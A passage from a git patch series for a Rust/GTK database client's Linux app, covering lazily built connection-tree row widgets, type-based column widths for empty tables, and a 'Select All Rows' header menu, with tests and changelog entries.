+        // The target first, or GTK warns that the action takes one.
+        eject.set_action_target_value(Some(&String::new().to_variant()));
+        eject.set_action_name(Some(DISCONNECT_SESSION));
+        Self {
+            spinner: adw::Spinner::builder().visible(false).build(),
+            eject,
+            problem: gtk::Image::builder()
+                .icon_name(crate::ui::icons::NETWORK_ERROR)
+                .accessible_role(gtk::AccessibleRole::Presentation)
+                .visible(false)
+                .build(),
+        }
+    }
+}
+
 glib::wrapper! {
     /// One row of the connection tree: an icon and a name, a key's type,
     /// and for a connection what it is doing.
@@ -145,6 +151,31 @@ impl TreeRow {
         item.item().is_some().then(|| item.position())
     }
 
+    /// The label of a key's type, made for the first key the row shows.
+    pub(super) fn kind(&self) -> &gtk::Label {
+        let imp = self.imp();
+        imp.kind.get_or_init(|| {
+            let kind = gtk::Label::builder()
+                .accessible_role(gtk::AccessibleRole::Presentation)
+                .visible(false)
+                .build();
+            kind.add_css_class("dimmed");
+            kind.add_css_class("caption");
+            self.insert_child_after(&kind, Some(&imp.name));
+            kind
+        })
+    }
+
+    pub(super) fn status(&self) -> &Status {
+        self.imp().status.get_or_init(|| {
+            let status = Status::new();
+            self.append(&status.spinner);
+            self.append(&status.eject);
+            self.append(&status.problem);
+            status
+        })
+    }
+
     /// Show `object`, the item of the row's list row.
     pub(crate) fn bind(&self, object: &glib::Object) {
         self.unbind();
@@ -183,9 +214,14 @@ impl TreeRow {
         imp.icon.set_visible(true);
         imp.name.set_label(&object.name());
         set_classes(&imp.name, &[]);
-        let kind = object.type_label();
-        imp.kind.set_visible(kind.is_some());
-        imp.kind.set_label(kind.as_deref().unwrap_or_default());
+        match object.type_label() {
+            Some(kind) => {
+                let label = self.kind();
+                label.set_label(&kind);
+                label.set_visible(true);
+            }
+            None => self.hide_kind(),
+        }
         self.show_suffix(false, false, false);
         describe(item, &object.kind_name());
         set_choosable(item, true);
@@ -193,7 +229,7 @@ impl TreeRow {
 
     fn show_node(&self, item: &gtk::ListItem, node: &TreeNode) {
         let imp = self.imp();
-        imp.kind.set_visible(false);
+        self.hide_kind();
         imp.bindings
             .borrow_mut()
             .push(node.bind_property("title", &imp.name, "label").sync_create().build());
@@ -232,7 +268,8 @@ impl TreeRow {
                 .build(),
         );
         if let Some(key) = node.key() {
-            imp.eject
+            self.status()
+                .eject
                 .set_action_target_value(Some(&crate::ui::session_target::to_variant(&key)));
         }
         let mut watches = Vec::new();
@@ -259,8 +296,9 @@ impl TreeRow {
         let problem = node.problem();
         let (open, busy, failed) = (node.open(), node.busy(), !problem.is_empty());
         self.show_suffix(busy, open && !busy && !failed, !busy && failed);
-        if failed && imp.problem.tooltip_text().as_deref() != Some(problem.as_str()) {
-            imp.problem.set_tooltip_text(Some(&problem));
+        let shown = &self.status().problem;
+        if failed && shown.tooltip_text().as_deref() != Some(problem.as_str()) {
+            shown.set_tooltip_text(Some(&problem));
         }
         let description = if busy && !open {
             crate::i18n::gettext("Connection, connecting")
@@ -279,10 +317,20 @@ impl TreeRow {
     }
 
     fn show_suffix(&self, busy: bool, eject: bool, problem: bool) {
-        let imp = self.imp();
-        imp.spinner.set_visible(busy);
-        imp.eject.set_visible(eject);
-        imp.problem.set_visible(problem);
+        let status = match self.imp().status.get() {
+            Some(status) => status,
+            None if busy || eject || problem => self.status(),
+            None => return,
+        };
+        status.spinner.set_visible(busy);
+        status.eject.set_visible(eject);
+        status.problem.set_visible(problem);
+    }
+
+    fn hide_kind(&self) {
+        if let Some(kind) = self.imp().kind.get() {
+            kind.set_visible(false);
+        }
     }
 }
 
diff --git a/linux/crates/app/src/ui/workspace/tests/large_catalog.rs b/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
index db5d7de7eb..758d925671 100644
--- a/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
+++ b/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
@@ -732,6 +732,19 @@ impl Screen {
     /// Open the schema `name` under the session's connection, as a user
     /// opens the one they work in. MySQL's lone database opens itself.
     fn open_schema(&self, name: &str) {
+        let schema = self
+            .schema_rows()
+            .into_iter()
+            .find(|row| row.item().is_some_and(|item| item.property::<String>("title") == name));
+        schema.expect("the default schema's row").set_expanded(true);
+        after_next_frame(&self.window);
+    }
+
+    /// The rows of the session's schemas in the tree, reached through
+    /// their connections' rows: a row asked for by position is made, and
+    /// making one for each of an open schema's 50,000 tables would stall
+    /// the main loop inside the step it measures.
+    fn schema_rows(&self) -> Vec<gtk4::TreeListRow> {
         let Some(rows) = descendants(&self.tree.widget())
             .into_iter()
             .find_map(|widget| widget.downcast::<gtk4::ListView>().ok())
@@ -742,11 +755,21 @@ impl Screen {
         else {
             panic!("the tree's rows");
         };
-        let schema = (0..rows.n_items())
-            .filter_map(|at| rows.row(at))
-            .find(|row| row.depth() == 1 && row.item().is_some_and(|item| item.property::<String>("title") == name));
-        schema.expect("the default schema's row").set_expanded(true);
-        after_next_frame(&self.window);
+        (0..rows.model().n_items())
+            .filter_map(|at| rows.child_row(at))
+            .flat_map(|connection| {
+                let count = connection.children().map_or(0, |children| children.n_items());
+                (0..count).filter_map(move |at| connection.child_row(at))
+            })
+            .collect()
+    }
+
+    /// Whether a lone schema, which opens as it comes, is open.
+    fn lone_schema_open(&self) -> bool {
+        match self.schema_rows().as_slice() {
+            [lone] => lone.is_expanded(),
+            _ => true,
+        }
     }
 
     /// A new editor in place of the last, on screen with the focus,
@@ -827,7 +850,7 @@ impl Screen {
                     }
                 });
             },
-            || listed(&self.sidebar) == expected,
+            || listed(&self.sidebar) == expected && self.lone_schema_open(),
         )
     }
 
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index d4684bfdc1..d0e485e5d8 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -258,6 +258,7 @@ crates/app/src/ui/data_grid/mod.rs
 crates/app/src/ui/data_grid/pointer.rs
 crates/app/src/ui/data_grid/references/mod.rs
 crates/app/src/ui/data_grid/references/tests.rs
+crates/app/src/ui/data_grid/reversed_list.rs
 crates/app/src/ui/data_grid/row_detail/calendar.rs
 crates/app/src/ui/data_grid/row_detail/fields.rs
 crates/app/src/ui/data_grid/row_detail/imp.rs

From 7b9b282939549d6bed1cbe0f16d46f7cb5b77f75 Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Thu, 29 Oct 2026 04:51:48 +0100
Subject: [PATCH 16/44] fix(linux-grid): open an empty table's columns at their
 types' width (#3863)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/changelog.d/3863.fixed.1.md             |   1 +
 linux/changelog.d/3863.fixed.md               |   1 +
 .../app/src/services/grid/column_width.rs     | 167 ++++++++++++++++--
 linux/crates/app/src/services/grid/mod.rs     |   4 +-
 linux/crates/app/src/ui/data_grid/columns.rs  |  70 ++++++--
 .../app/src/ui/data_grid/tests/columns.rs     | 111 ++++++++++++
 6 files changed, 323 insertions(+), 31 deletions(-)
 create mode 100644 linux/changelog.d/3863.fixed.1.md
 create mode 100644 linux/changelog.d/3863.fixed.md

diff --git a/linux/changelog.d/3863.fixed.1.md b/linux/changelog.d/3863.fixed.1.md
new file mode 100644
index 0000000000..e35d32129d
--- /dev/null
+++ b/linux/changelog.d/3863.fixed.1.md
@@ -0,0 +1 @@
+A date column whose first rows held no date opened too narrow to show one.
diff --git a/linux/changelog.d/3863.fixed.md b/linux/changelog.d/3863.fixed.md
new file mode 100644
index 0000000000..1514396c69
--- /dev/null
+++ b/linux/changelog.d/3863.fixed.md
@@ -0,0 +1 @@
+An empty table opened each column as narrow as its header, too narrow for a value typed into a new row.
diff --git a/linux/crates/app/src/services/grid/column_width.rs b/linux/crates/app/src/services/grid/column_width.rs
index 426b5478e5..c50660bfad 100644
--- a/linux/crates/app/src/services/grid/column_width.rs
+++ b/linux/crates/app/src/services/grid/column_width.rs
@@ -1,5 +1,5 @@
 use tablepro_core::Value;
-use tablepro_core::column::{ColumnKind, TemporalZone};
+use tablepro_core::column::{ColumnKind, TemporalZone, TextLength};
 
 use super::display_text::display_text;
 use super::{CellDisplay, GridColumn};
@@ -9,6 +9,10 @@ const TEXT_MAX_CHARS: u32 = 40;
 /// `false`, the longer of the two values.
 const BOOL_CHARS: u32 = 5;
 const SAMPLE_ROWS: usize = 200;
+/// A value of a type that sets no length, as wide as a name or a code.
+const TYPICAL_CHARS: u32 = 20;
+/// A number of a type that sets no precision.
+const TYPICAL_DIGITS: u32 = 10;
 
 /// A column's starting width in characters: its header or its widest
 /// sampled value. Text is capped so one long value does not push the rest
@@ -18,11 +22,45 @@ pub fn default_width_chars<'a>(column: &GridColumn, sample: impl IntoIterator<It
     match column.display() {
         CellDisplay::Bool => header.max(BOOL_CHARS),
         CellDisplay::Number => header.max(widest),
-        CellDisplay::Temporal => header.max(widest).max(temporal_chars(&column.column_type.kind)),
+        CellDisplay::Temporal => header
+            .max(widest)
+            .max(spelled_chars(&column.column_type.kind).unwrap_or(0)),
         CellDisplay::Text | CellDisplay::Json | CellDisplay::Binary => header.max(widest).min(TEXT_MAX_CHARS),
     }
 }
 
+/// A column's starting width in characters in a table that holds no
+/// rows: its header or a value its type leads one to expect. A bounded
+/// type gives its widest value, text no wider than a name.
+pub fn typical_width_chars(column: &GridColumn) -> u32 {
+    let kind = &column.column_type.kind;
+    let typical = match kind {
+        ColumnKind::Bool(_) => BOOL_CHARS,
+        // The digits, a sign and a decimal point.
+        ColumnKind::Decimal {
+            precision: Some(precision),
+            ..
+        } => precision.saturating_add(2).min(TYPICAL_CHARS),
+        _ if kind.is_numeric() => TYPICAL_DIGITS,
+        ColumnKind::Text {
+            length: TextLength::Varying(length) | TextLength::Fixed(length),
+        } => (*length).min(TYPICAL_CHARS),
+        _ => spelled_chars(kind).unwrap_or(TYPICAL_CHARS),
+    };
+    header_chars(column).max(typical).min(TEXT_MAX_CHARS)
+}
+
+/// The values the column's type spells out, cut at the cap, for the
+/// caller to measure in tabular figures: a count of average characters
+/// runs short of digits and capitals.
+pub fn typical_texts(column: &GridColumn) -> Vec<String> {
+    let cap = usize::try_from(TEXT_MAX_CHARS).unwrap_or(usize::MAX);
+    spelled(&column.column_type.kind)
+        .into_iter()
+        .map(|text| text.chars().take(cap).collect())
+        .collect()
+}
+
 /// The width of a column that turned out to hold only numbers, as an
 /// untyped PostgreSQL result does: a number is never cut.
 pub fn number_width_chars<'a>(column: &GridColumn, sample: impl IntoIterator<Item = &'a Value>) -> u32 {
@@ -30,8 +68,11 @@ pub fn number_width_chars<'a>(column: &GridColumn, sample: impl IntoIterator<Ite
     header.max(widest)
 }
 
+fn header_chars(column: &GridColumn) -> u32 {
+    char_count(&column.name).clamp(MIN_CHARS, TEXT_MAX_CHARS)
+}
+
 fn header_and_widest<'a>(column: &GridColumn, sample: impl IntoIterator<Item = &'a Value>) -> (u32, u32) {
-    let header = char_count(&column.name).clamp(MIN_CHARS, TEXT_MAX_CHARS);
     let mut scratch = String::new();
     let widest = sample
         .into_iter()
@@ -40,7 +81,7 @@ fn header_and_widest<'a>(column: &GridColumn, sample: impl IntoIterator<Item = &
         .map(|value| char_count(display_text(value, &column.column_type, &mut scratch).text))
         .max()
         .unwrap_or(0);
-    (header, widest)
+    (header_chars(column), widest)
 }
 
 /// The sampled value with the most characters, as the cell draws it and
@@ -67,20 +108,33 @@ pub fn widest_text<'a>(column: &GridColumn, sample: impl IntoIterator<Item = &'a
         .max_by_key(|text| char_count(text))
 }
 
-/// The width of a value without fractional seconds, which the sample adds
-/// when the column holds them.
-fn temporal_chars(kind: &ColumnKind) -> u32 {
-    const OFFSET: u32 = "+00:00".len() as u32;
+/// The values of a type that holds nothing wider: a date or a time
+/// without the fractional seconds a sample adds when the column holds
+/// them, a UUID, or an enum's labels, as many as a sample holds. A MySQL
+/// SET joins its labels, so it has none.
+fn spelled(kind: &ColumnKind) -> Vec<&str> {
     match kind {
-        ColumnKind::Date => "2026-01-01".len() as u32,
-        ColumnKind::Time { with_offset, .. } => "00:00:00".len() as u32 + if *with_offset { OFFSET } else { 0 },
-        ColumnKind::Timestamp { zone, .. } => {
-            "2026-01-01 00:00:00".len() as u32 + if *zone == TemporalZone::Offset { OFFSET } else { 0 }
-        }
-        _ => 0,
+        ColumnKind::Date => vec!["0000-00-00"],
+        ColumnKind::Time { with_offset: false, .. } => vec!["00:00:00"],
+        ColumnKind::Time { with_offset: true, .. } => vec!["00:00:00+00:00"],
+        ColumnKind::Timestamp {
+            zone: TemporalZone::Offset,
+            ..
+        } => vec!["0000-00-00 00:00:00+00:00"],
+        ColumnKind::Timestamp { .. } => vec!["0000-00-00 00:00:00"],
+        ColumnKind::Uuid => vec!["00000000-0000-0000-0000-000000000000"],
+        ColumnKind::Enum {
+            labels,
+            multiple: false,
+        } => labels.iter().take(SAMPLE_ROWS).map(String::as_str).collect(),
+        _ => Vec::new(),
     }
 }
 
+fn spelled_chars(kind: &ColumnKind) -> Option<u32> {
+    spelled(kind).into_iter().map(char_count).max()
+}
+
 fn char_count(text: &str) -> u32 {
     u32::try_from(text.chars().count()).unwrap_or(u32::MAX)
 }
@@ -91,7 +145,7 @@ mod tests {
     use tablepro_core::column::{BoolStorage, ColumnKind, IntegerKind, IntegerWidth, TemporalZone, TextLength};
     use tablepro_core::value::{SqlDecimal, Temporal};
 
-    use super::{default_width_chars, number_width_chars, widest_text};
+    use super::{default_width_chars, number_width_chars, typical_texts, typical_width_chars, widest_text};
     use crate::services::grid::test_columns::result_only;
 
     fn text() -> ColumnKind {
@@ -222,4 +276,87 @@ mod tests {
         );
         assert_eq!(default_width_chars(&result_only("at", stamped), &[]), 25);
     }
+
+    #[test]
+    fn with_no_rows_a_column_opens_at_what_its_type_leads_one_to_expect() {
+        let bounded = |length| ColumnKind::Text { length };
+        let integer = ColumnKind::Integer(IntegerKind {
+            width: IntegerWidth::W64,
+            signed: true,
+        });
+        let money = ColumnKind::Decimal {
+            precision: Some(10),
+            scale: Some(2),
+        };
+        let labels = vec!["active".to_owned(), "suspended".to_owned()];
+        let state = ColumnKind::Enum {
+            labels: labels.clone(),
+            multiple: false,
+        };
+        let tags = ColumnKind::Enum { labels, multiple: true };
+        let stamped = ColumnKind::Timestamp {
+            fractional_digits: None,
+            zone: TemporalZone::Offset,
+        };
+
+        assert_eq!(typical_width_chars(&result_only("realm", text())), 20, "unbounded text");
+        assert_eq!(
+            typical_width_chars(&result_only("code", bounded(TextLength::Varying(8)))),
+            8,
+            "no wider than its bound"
+        );
+        assert_eq!(
+            typical_width_chars(&result_only("name", bounded(TextLength::Varying(255)))),
+            20
+        );
+        assert_eq!(typical_width_chars(&result_only("id", ColumnKind::Uuid)), 36);
+        assert_eq!(typical_width_chars(&result_only("id", integer)), 10);
+        assert_eq!(typical_width_chars(&result_only("total", money)), 12);
+        assert_eq!(
+            typical_width_chars(&result_only("state", state)),
+            9,
+            "its longest label"
+        );
+        assert_eq!(
+            typical_width_chars(&result_only("tags", tags)),
+            20,
+            "a SET joins its labels"
+        );
+        assert_eq!(typical_width_chars(&result_only("created", stamped)), 25);
+        assert_eq!(
+            typical_width_chars(&result_only("ok", ColumnKind::Bool(BoolStorage::Native))),
+            5
+        );
+        assert_eq!(
+            typical_width_chars(&result_only("a_column_with_a_name_far_longer_than_it_holds", text())),
+            40,
+            "the header, within the cap"
+        );
+    }
+
+    #[test]
+    fn the_typical_texts_are_the_values_a_type_spells_out() {
+        let state = ColumnKind::Enum {
+            labels: vec!["active".to_owned(), "suspended".to_owned()],
+            multiple: false,
+        };
+
+        assert_eq!(typical_texts(&result_only("on", ColumnKind::Date)), ["0000-00-00"]);
+        assert_eq!(
+            typical_texts(&result_only("id", ColumnKind::Uuid))
+                .iter()
+                .map(|text| text.chars().count())
+                .collect::<Vec<_>>(),
+            [36]
+        );
+        assert_eq!(
+            typical_texts(&result_only("state", state)),
+            ["active", "suspended"],
+            "every label, since the longest is not always the widest"
+        );
+        assert!(
+            typical_texts(&result_only("name", text())).is_empty(),
+            "text has no widest"
+        );
+    }
 }
diff --git a/linux/crates/app/src/services/grid/mod.rs b/linux/crates/app/src/services/grid/mod.rs
index 9d40609789..69b283298e 100644
--- a/linux/crates/app/src/services/grid/mod.rs
+++ b/linux/crates/app/src/services/grid/mod.rs
@@ -29,7 +29,9 @@ pub use self::cell_filter::cell_filter_rule;
 pub use self::cell_lock::CellLock;
 pub use self::cell_preset::{CellPreset, CellPresets, cell_presets};
 pub use self::column_layout::{ColumnLayout, LayoutSlot, Placement, merge_order};
-pub use self::column_width::{default_width_chars, number_width_chars, widest_text};
+pub use self::column_width::{
+    default_width_chars, number_width_chars, typical_texts, typical_width_chars, widest_text,
+};
 pub use self::copy_scope::{CopyScope, copy_scope};
 pub use self::delete_availability::{DeleteAvailability, delete_availability};
 pub use self::display_text::{auto_filled_sentinel, display_text};
diff --git a/linux/crates/app/src/ui/data_grid/columns.rs b/linux/crates/app/src/ui/data_grid/columns.rs
index e7de2eb2a4..f341c6a432 100644
--- a/linux/crates/app/src/ui/data_grid/columns.rs
+++ b/linux/crates/app/src/ui/data_grid/columns.rs
@@ -12,7 +12,7 @@ use super::server_sorter::ServerSorter;
 use super::{DataGrid, GridRow, GridSorting, TrackedValues, client_sorter, grid_menu, row_number_column};
 use crate::services::grid::{
     CellDisplay, ColumnLayout, GridColumn, LayoutSlot, Placement, default_width_chars, merge_order, number_width_chars,
-    widest_text,
+    typical_texts, typical_width_chars, widest_text,
 };
 
 /// Rows sampled for a column's opening width.
@@ -36,6 +36,19 @@ pub struct ColumnPaint {
     pub numbers: Cell<bool>,
 }
 
+/// What the pages read under a column set have held so far.
+#[derive(Debug, Default, Clone, Copy, PartialEq, Eq)]
+enum Pages {
+    /// No rows yet means they are on their way.
+    #[default]
+    Awaited,
+    /// The table holds no rows, so the columns' types size them.
+    Empty,
+    /// The rows sized the columns. An empty page after them, as a filter
+    /// that matches nothing gives, has no value to measure.
+    Held,
+}
+
 /// The grid's columns: what each one is and the view column that shows it.
 #[derive(Debug, Default)]
 pub struct ColumnSet {
@@ -49,6 +62,7 @@ pub struct ColumnSet {
     /// The widths the grid gave columns itself, which the layout does not
     /// keep: a better guess from other rows should still reach them.
     auto_widths: std::collections::HashMap<usize, i32>,
+    pages: Pages,
     handlers: Vec<(glib::WeakRef<glib::Object>, glib::SignalHandlerId)>,
 }
 
@@ -224,7 +238,9 @@ impl DataGrid {
     fn opening_widths(&self) -> Vec<(usize, gtk::ColumnViewColumn, i32)> {
         let set = self.imp().columns.borrow();
         let sample: Vec<Option<Arc<[Value]>>> = self.store().rows().take(WIDTH_SAMPLE).map(|row| row.cells()).collect();
-        let metrics = self.column_view().pango_context().metrics(None, None);
+        let by_type = set.pages == Pages::Empty;
+        let view = self.column_view();
+        let metrics = view.pango_context().metrics(None, None);
         let char_px = pango::units_to_double(metrics.approximate_char_width());
         let mut widths = Vec::new();
         for (paint, view_column) in set.paints.iter().zip(&set.view_columns) {
@@ -237,19 +253,33 @@ impl DataGrid {
                 .iter()
                 .filter_map(|cells| cells.as_deref().and_then(|cells| cells.get(index)))
                 .collect();
-            let chars = match paint.numbers.get() {
-                true => number_width_chars(&paint.column, values.iter().copied()),
-                false => default_width_chars(&paint.column, values.iter().copied()),
+            let column = &paint.column;
+            let chars = match (by_type, paint.numbers.get()) {
+                (true, _) => typical_width_chars(column),
+                (false, true) => number_width_chars(column, values.iter().copied()),
+                (false, false) => default_width_chars(column, values.iter().copied()),
             };
             let estimate = (f64::from(chars) * char_px).ceil() as i32;
             // A number is never cut, and its digits in tabular figures run
-            // wider than an average character.
-            let text = match paint.numbers.get() {
-                true => estimate.max(tabular_width(&self.column_view(), chars)),
-                false => widest_text(&paint.column, values.iter().copied()).map_or(estimate, |widest| {
-                    estimate.max(drawn_width(&self.column_view(), &widest))
-                }),
+            // wider than an average character. Nor is a date, held or not,
+            // nor with no rows a value its type spells out, as a UUID or an
+            // enum's label, so those are measured in tabular figures too.
+            let sampled = match (by_type, paint.numbers.get()) {
+                (_, true) => tabular_width(&view, &"0".repeat(usize::try_from(chars).unwrap_or_default())),
+                (true, false) => 0,
+                (false, false) => {
+                    widest_text(column, values.iter().copied()).map_or(0, |widest| drawn_width(&view, &widest))
+                }
             };
+            let spelled = match by_type || column.display() == CellDisplay::Temporal {
+                true => typical_texts(column)
+                    .iter()
+                    .map(|typical| tabular_width(&view, typical))
+                    .max()
+                    .unwrap_or(0),
+                false => 0,
+            };
+            let text = estimate.max(sampled).max(spelled);
             let width = text + CELL_CHROME_PX;
             if auto.is_none_or(|auto| width > auto) {
                 widths.push((index, view_column.clone(), width));
@@ -261,6 +291,16 @@ impl DataGrid {
     /// Rows came in: an untyped column may have turned out not to hold
     /// only numbers, and the row numbers may have grown a digit.
     pub(super) fn columns_took_rows(&self) {
+        // A draft is the user's, not the table's: a table whose only rows
+        // are drafts still holds none.
+        let held = self.store().rows().any(|row| row.draft_id().is_none());
+        {
+            let mut set = self.imp().columns.borrow_mut();
+            set.pages = match (set.pages, held) {
+                (_, true) | (Pages::Held, false) => Pages::Held,
+                (Pages::Awaited | Pages::Empty, false) => Pages::Empty,
+            };
+        }
         self.detect_untyped_numbers();
         self.size_unsized_columns();
         row_number_column::fit(self);
@@ -621,10 +661,10 @@ fn same_names(layout: &ColumnLayout, columns: &[GridColumn]) -> bool {
     names.len() == columns.len() && names.iter().zip(columns).all(|(name, column)| *name == column.name)
 }
 
-/// How wide `chars` digits are in the tabular figures libadwaita's
-/// `numeric` class draws.
-fn tabular_width(widget: &impl IsA<gtk::Widget>, chars: u32) -> i32 {
-    let layout = widget.create_pango_layout(Some(&"0".repeat(usize::try_from(chars).unwrap_or_default())));
+/// How wide `text` is in the tabular figures libadwaita's `numeric`
+/// class draws.
+fn tabular_width(widget: &impl IsA<gtk::Widget>, text: &str) -> i32 {
+    let layout = widget.create_pango_layout(Some(text));
     let tabular = pango::AttrList::new();
     tabular.insert(pango::AttrFontFeatures::new("tnum"));
     layout.set_attributes(Some(&tabular));
diff --git a/linux/crates/app/src/ui/data_grid/tests/columns.rs b/linux/crates/app/src/ui/data_grid/tests/columns.rs
index 16e1c2f09f..0094797561 100644
--- a/linux/crates/app/src/ui/data_grid/tests/columns.rs
+++ b/linux/crates/app/src/ui/data_grid/tests/columns.rs
@@ -4,6 +4,8 @@ use gtk4 as gtk;
 use gtk4::pango;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::ObjectSubclassIsExt;
+use tablepro_core::column::ColumnKind;
+use tablepro_core::value::Temporal;
 use tablepro_core::{ColumnInfo, Value};
 
 use super::{Layouts, close_menus, data_column, keyed, laid_out, settled_width, shown_width, step, text, untyped};
@@ -431,3 +433,112 @@ fn a_column_left_behind_by_its_view_lets_go_of_the_grid() {
         "a column the view left behind kept the grid's columns"
     );
 }
+
+/// A table with no rows opens as wide as its types lead one to expect,
+/// not shrunk to its headers, and a page with rows still opens at what
+/// it holds: the grid sizes its columns before the first page arrives.
+#[gtk4::test]
+fn an_empty_table_opens_its_columns_at_their_types_width() {
+    let columns = || vec![named("realm", "text", true), named("note", "varchar(255)", false)];
+
+    let empty = Grid::open(columns(), Vec::new());
+    let short = Grid::open(columns(), vec![vec![text("a"), text("b")]]);
+
+    for index in 0..2 {
+        let typed = data_column(&empty, index).fixed_width();
+        assert!(
+            typed > data_column(&short, index).fixed_width(),
+            "column {index} of the empty table is no wider than one holding a single letter: {typed}"
+        );
+    }
+}
+
+/// Digits and capitals run wider than an average character, so a count
+/// of them would cut a date, a UUID or a label typed into an empty
+/// table. The label with the most characters is not the widest.
+#[gtk4::test]
+fn an_empty_tables_column_holds_a_whole_value_of_its_type() {
+    let state = || {
+        let mut column = named("state", "text", false);
+        column.column_type.kind = ColumnKind::Enum {
+            labels: vec!["illiterate".to_owned(), "WWWWWWWWW".to_owned()],
+            multiple: false,
+        };
+        column
+    };
+    let columns = || vec![named("id", "uuid", true), named("on", "date", false), state()];
+    let id = uuid::Uuid::parse_str("8a6e0804-2bd0-4672-b79d-d97027f9071a").expect("a UUID");
+    let day = chrono::NaiveDate::from_ymd_opt(2026, 10, 28).expect("a date");
+
+    let held = Grid::open(
+        columns(),
+        vec![vec![
+            Value::Uuid(id),
+            Value::Date(Temporal::Finite(day)),
+            text("WWWWWWWWW"),
+        ]],
+    );
+    let empty = Grid::open(columns(), Vec::new());
+
+    for index in 0..3 {
+        let typed = data_column(&empty, index).fixed_width();
+        let measured = data_column(&held, index).fixed_width();
+        assert!(
+            typed >= measured,
+            "column {index} of the empty table is narrower than a value of its type: {typed} < {measured}"
+        );
+    }
+}
+
+/// A date is never cut, so a date column whose first rows hold none
+/// still opens wide enough for one.
+#[gtk4::test]
+fn a_date_column_holding_no_date_yet_is_as_wide_as_a_date() {
+    let columns = || vec![named("id", "integer", true), named("on", "date", false)];
+    let day = chrono::NaiveDate::from_ymd_opt(2026, 10, 28).expect("a date");
+
+    let none = Grid::open(columns(), vec![vec![Value::Int(1), Value::Null]]);
+    let held = Grid::open(columns(), vec![vec![Value::Int(1), Value::Date(Temporal::Finite(day))]]);
+
+    let blank = data_column(&none, 1).fixed_width();
+    let dated = data_column(&held, 1).fixed_width();
+    assert!(
+        blank >= dated,
+        "a column of NULLs is narrower than a date: {blank} < {dated}"
+    );
+}
+
+/// A filter that matches nothing has no value to measure, so the columns
+/// keep the widths their rows gave them.
+#[gtk4::test]
+fn a_page_that_comes_back_empty_keeps_the_widths_the_rows_gave() {
+    let grid = Grid::open(
+        vec![named("id", "integer", true), named("name", "text", false)],
+        vec![vec![Value::Int(1), text("Ada")]],
+    );
+    let opened: Vec<i32> = (0..2).map(|index| data_column(&grid, index).fixed_width()).collect();
+
+    grid.grid.replace_rows(Vec::new(), 0);
+
+    let after: Vec<i32> = (0..2).map(|index| data_column(&grid, index).fixed_width()).collect();
+    assert_eq!(after, opened, "an empty page widened the columns its rows had sized");
+}
+
+/// A double click on a header's edge hands the width back to the grid,
+/// which in an empty table is the type's again. A draft is the user's,
+/// not the table's, so a page that comes back empty beside one still
+/// leaves the table empty.
+#[gtk4::test]
+fn a_cleared_width_in_an_empty_table_returns_to_its_types_width() {
+    let grid = Grid::open(vec![named("name", "text", true)], Vec::new());
+    let column = data_column(&grid, 0);
+    let typed = column.fixed_width();
+    grid.insert_draft();
+    grid.grid.replace_rows(Vec::new(), 0);
+
+    column.set_fixed_width(200);
+    column.set_fixed_width(-1);
+
+    wait_until(WAIT, || column.fixed_width() > 0).expect("the grid gives the column a width again");
+    assert_eq!(column.fixed_width(), typed);
+}

From aa5aded4e0c9cf8b5180914b4ef8656844cc642d Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Thu, 29 Oct 2026 04:51:58 +0100
Subject: [PATCH 17/44] feat(linux-grid): select every row from the row number
 header's menu (#3864)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/changelog.d/3864.added.md               |  1 +
 .../app/src/ui/data_grid/grid_actions.rs      |  1 +
 .../crates/app/src/ui/data_grid/grid_menu.rs  | 14 ++++++
 .../app/src/ui/data_grid/row_number_column.rs |  3 +-
 .../crates/app/src/ui/data_grid/selection.rs  | 20 ++++++++
 .../app/src/ui/data_grid/tests/menus.rs       | 49 ++++++++++++++++++-
 6 files changed, 86 insertions(+), 2 deletions(-)
 create mode 100644 linux/changelog.d/3864.added.md

diff --git a/linux/changelog.d/3864.added.md b/linux/changelog.d/3864.added.md
new file mode 100644
index 0000000000..3ca0657203
--- /dev/null
+++ b/linux/changelog.d/3864.added.md
@@ -0,0 +1 @@
+The data grid's row number header has a menu to select every row or choose the columns.
diff --git a/linux/crates/app/src/ui/data_grid/grid_actions.rs b/linux/crates/app/src/ui/data_grid/grid_actions.rs
index 0381cc2889..201f64c4a2 100644
--- a/linux/crates/app/src/ui/data_grid/grid_actions.rs
+++ b/linux/crates/app/src/ui/data_grid/grid_actions.rs
@@ -52,6 +52,7 @@ pub fn install(grid: &DataGrid) {
     add(grid, "clear-selection", |grid| {
         grid.selection().unselect_all();
     });
+    add(grid, "select-all", DataGrid::select_all_rows);
     let details = gio::SimpleAction::new_stateful("show-details", None, &false.to_variant());
     let weak = grid.downgrade();
     details.connect_change_state(move |action, state| {
diff --git a/linux/crates/app/src/ui/data_grid/grid_menu.rs b/linux/crates/app/src/ui/data_grid/grid_menu.rs
index 01df324386..5ee7b99765 100644
--- a/linux/crates/app/src/ui/data_grid/grid_menu.rs
+++ b/linux/crates/app/src/ui/data_grid/grid_menu.rs
@@ -226,6 +226,20 @@ pub fn header_menu(column: &GridColumn, sorting: GridSorting) -> gio::Menu {
     menu
 }
 
+/// The row number column's header menu. GTK keeps a header's click for
+/// sorting, so the header selects the rows from here. The key is
+/// GtkListBase's `list.select-all`, out of a header menu's reach.
+pub fn row_numbers_header_menu() -> gio::Menu {
+    let select_all = item(&gettext("Select All Rows"), "grid.select-all");
+    if let Some(key) = crate::application::triggers_for("list.select-all").first() {
+        select_all.set_attribute_value("accel", Some(&key.to_variant()));
+    }
+    let menu = gio::Menu::new();
+    menu.append_section(None, &section([select_all]));
+    menu.append_section(None, &section([item(&gettext("Columns…"), "grid.columns")]));
+    menu
+}
+
 impl DataGrid {
     pub(crate) fn menus(&self) -> Option<&GridMenus> {
         self.imp().menus.get()
diff --git a/linux/crates/app/src/ui/data_grid/row_number_column.rs b/linux/crates/app/src/ui/data_grid/row_number_column.rs
index d4f00c40ee..6edba56555 100644
--- a/linux/crates/app/src/ui/data_grid/row_number_column.rs
+++ b/linux/crates/app/src/ui/data_grid/row_number_column.rs
